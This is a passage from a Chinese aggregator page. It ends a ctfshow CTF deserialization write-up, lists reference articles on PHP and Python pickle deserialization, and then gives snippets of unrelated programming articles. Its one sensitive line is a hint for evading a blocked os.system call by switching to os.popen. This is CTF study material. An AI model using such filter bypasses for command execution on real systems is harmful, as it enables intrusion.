hint 提示过滤了 os.system

换成 os.popen, 其它同上


参考文章:

ctfshow 反序列化

ctfshow web 反序列化(web254-278)

ctfshow Web入门[反序列化] Writeup

pickle反序列化初探

一篇文章带你理解漏洞之 Python 反序列化漏洞

初探phar://

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/50914.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring6.0官方文档示例:(27)配置文件中bean定义的继承关系

一、实体类 package cn.edu.tju.domain;public class DerivedTestBean {private String name;private int age;public String getName() {return name;}public void setName(String name) {this.name name;}public int getAge() {return age;}public void setAge(int age) {t…

洗涤护理门店小程序DIY制作教程

随着移动互联网的快速发展&#xff0c;小程序成为了各行各业推广和服务的新平台。对于干洗店来说&#xff0c;拥有一个专属的洗护小程序不仅可以提升用户体验&#xff0c;还能增加店铺的曝光度和销售额。那么&#xff0c;如何DIY制作一个干洗店洗护小程序呢&#xff1f; 首先&a…

SpringBoot利用ConstraintValidator实现自定义注解校验

一、前言 ConstraintValidator是Java Bean Validation&#xff08;JSR-303&#xff09;规范中的一个接口&#xff0c;用于实现自定义校验注解的校验逻辑。ConstraintValidator定义了两个泛型参数&#xff0c;分别是注解类型和被校验的值类型。在实现ConstraintValidator接口时&…

控制Unity发布的PC包的窗体

大家好&#xff0c;我是阿赵。   用Unity发布PC包接入某些渠道时&#xff0c;有时候会收到一些特殊的需求&#xff0c;比如控制窗口最大化(比如某些情况强制显示窗体)、最小化(比如老板键)、强制规定窗体置顶等。虽然我一直认为这些需求都是流氓软件行为&#xff0c;但作为一…

基于Spark+django的国漫推荐系统--计算机毕业设计项目

近年来&#xff0c;随着互联网的蓬勃发展&#xff0c;企事业单位对信息的管理提出了更高的要求。以传统的管理方式已无法满足现代人们的需求。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;随着各行业的不断发展&#xff0c;基…

【Java架构-包管理工具】-Maven基础(一)

本文摘要 Maven作为Java后端使用频率非常高的一款依赖管理工具&#xff0c;在此咱们由浅入深&#xff0c;分三篇文章&#xff08;Maven基础、Maven进阶、私服搭建&#xff09;来深入学习Maven&#xff0c;此篇为开篇主要介绍Maven概念、模型、安装配置、基本命令 文章目录 本文…

Nexus(Maven管理器)下载和安装

我们以 Nexus 2.x 为例&#xff0c;演示 Nexus 的安装过程。 官方下载地址 1. 进入 Nexus 2.x 下载页面&#xff0c;根据本机操作系统&#xff0c;选择对应的版本进行下载&#xff0c;如下图所示。 2. 将下载 Nexus 安装包解压到本地磁盘&#xff0c;可获得 nexus-2.14.20-0…

内网穿透实战应用-windwos10系统搭建我的世界服务器,内网穿透实现联机游戏Minecraft

文章目录 1. Java环境搭建2.安装我的世界Minecraft服务3. 启动我的世界服务4.局域网测试连接我的世界服务器5. 安装cpolar内网穿透6. 创建隧道映射内网端口7. 测试公网远程联机8. 配置固定TCP端口地址8.1 保留一个固定tcp地址8.2 配置固定tcp地址 9. 使用固定公网地址远程联机 …

【c语言】文件操作 万字详解

目录 一&#xff0c;为什么使用文件 二&#xff0c;什么是文件 1&#xff0c;程序文件 2&#xff0c;数据文件 3&#xff0c;文件名 三&#xff0c;文件的打开和关闭 1&#xff0c;文件指针 2&#xff0c;文件的打开和关闭 四&#xff0c; 文件的顺序读写 1&#xff0c;顺序…

stm32控制蜂鸣器源代码(附带proteus线路图)

说明&#xff1a; 1 PB0输出0时&#xff0c;蜂鸣器发生&#xff1b; 2 蜂鸣器电阻值如果太大会导致电流太小&#xff0c;发不出声音&#xff1b; 3蜂鸣器额定电压需要设置得低一点&#xff0c;可以是2V&#xff0c;但不能高于3V&#xff0c;这更右上角的电阻值有关系&#x…

【算法专题突破】双指针 - 移动零(1)

目录 写在前面 1. 题目解析 2. 算法原理 3. 代码编写 写在最后&#xff1a; 写在前面 在进行了剑指Offer和LeetCode hot100的毒打之后&#xff0c; 我决心系统地学习一些经典算法&#xff0c;增强我的综合算法能力。 1. 题目解析 题目链接&#xff1a;283. 移动零 - 力…

一网打尽java注解-克隆-面向对象设计原则-设计模式

文章目录 注解内置注解元注解 对象克隆为什么要克隆&#xff1f;如何克隆浅克隆深克隆 Java设计模式什么是设计模式&#xff1f;为什么要学习设计模式&#xff1f; 建模语言类接口类之间的关系依赖关系关联关系聚合关系组合关系继承关系实现关系 面向对象设计原则单一职责开闭原…

无涯教程-PHP - 移除的扩展

以下扩展已从PHP 7开始删除- eregmssqlmysqlsybase_ct 以下SAPI已从PHP 7开始删除- aolserverapacheapache_hooksapache2filtercaudiumcontinuityisapimilternsapiphttpdpi3webroxenthttpdtuxwebjames PHP - 移除的扩展 - 无涯教程网无涯教程网提供以下扩展已从PHP 7开始删除…

【SVN内网穿透】远程访问Linux SVN服务

文章目录 前言1. Ubuntu安装SVN服务2. 修改配置文件2.1 修改svnserve.conf文件2.2 修改passwd文件2.3 修改authz文件 3. 启动svn服务4. 内网穿透4.1 安装cpolar内网穿透4.2 创建隧道映射本地端口 5. 测试公网访问6. 配置固定公网TCP端口地址6.1 保留一个固定的公网TCP端口地址6…

jvm-运行时数据区概述及线程

1.运行时数据区内部结构 不同的jvm对于内存的划分方式和管理机制存在着部分差异 java虚拟机定义了若干种程序运行期间会使用到的运行时数据区&#xff0c;其中有一些会随着虚拟机的启动而创建&#xff0c;随着虚拟机的退出而销毁&#xff0c;另外一些则是与线程一一对应的&…

渗透测试漏洞原理之---【SQL注入】

文章目录 1、SQL注入原理1.1、SQL注入原理1.2、SQL注入危害1.3、SQL注入分类1.4、SQL注入漏洞挖掘1.4.1、注入点判断1.4.2、主要关注的问题1.4.3、sql-lib靶场第一关注入点 1.5、知识补充 2、SQL注入基本手法2.1、联合查询判断注入类型判断列数判断显示位数据库中的敏感信息获取…

Unity shader 入门之渲染管线一、总览

如下示意图 应用阶段(ApplicationStage)&#xff1a;准备场景信息&#xff08;视景体&#xff0c;摄像机参数&#xff09;、粗粒度剔除、定义每个模型的渲染命令&#xff08;材质&#xff0c;shader&#xff09;——由开发者定义&#xff0c;不做讨论。几何阶段(GemetryStage)&…

Resnet模型详解

1、Resnet是什么&#xff1f; Resnet是一种深度神经网络架构&#xff0c;被广泛用于计算机视觉任务&#xff0c;特别是图像分类。它是由微软研究院的研究员于2015年提出的&#xff0c;是深度学习领域的重要里程碑之一。 2、网络退化问题 理论上来讲&#xff0c;随着网络的层…

基于springboot的社区生活缴费系统/基于javaweb的水电缴费系统

摘 要 网络的广泛应用给生活带来了十分的便利。所以把社区生活缴费管理与现在网络相结合&#xff0c;利用java语言建设社区生活缴费系统&#xff0c;实现社区生活缴费管理的信息化。则对于进一步提高社区生活缴费管理发展&#xff0c;丰富社区生活缴费管理经验能起到不少的促进…

使用Python搭建服务器公网展示本地电脑文件

文章目录 1.前言2.本地http服务器搭建2.1.Python的安装和设置2.2.Python服务器设置和测试 3.cpolar的安装和注册3.1 Cpolar云端设置3.2 Cpolar本地设置 4.公网访问测试5.结语 1.前言 Python作为热度比较高的编程语言&#xff0c;其语法简单且语句清晰&#xff0c;而且python有…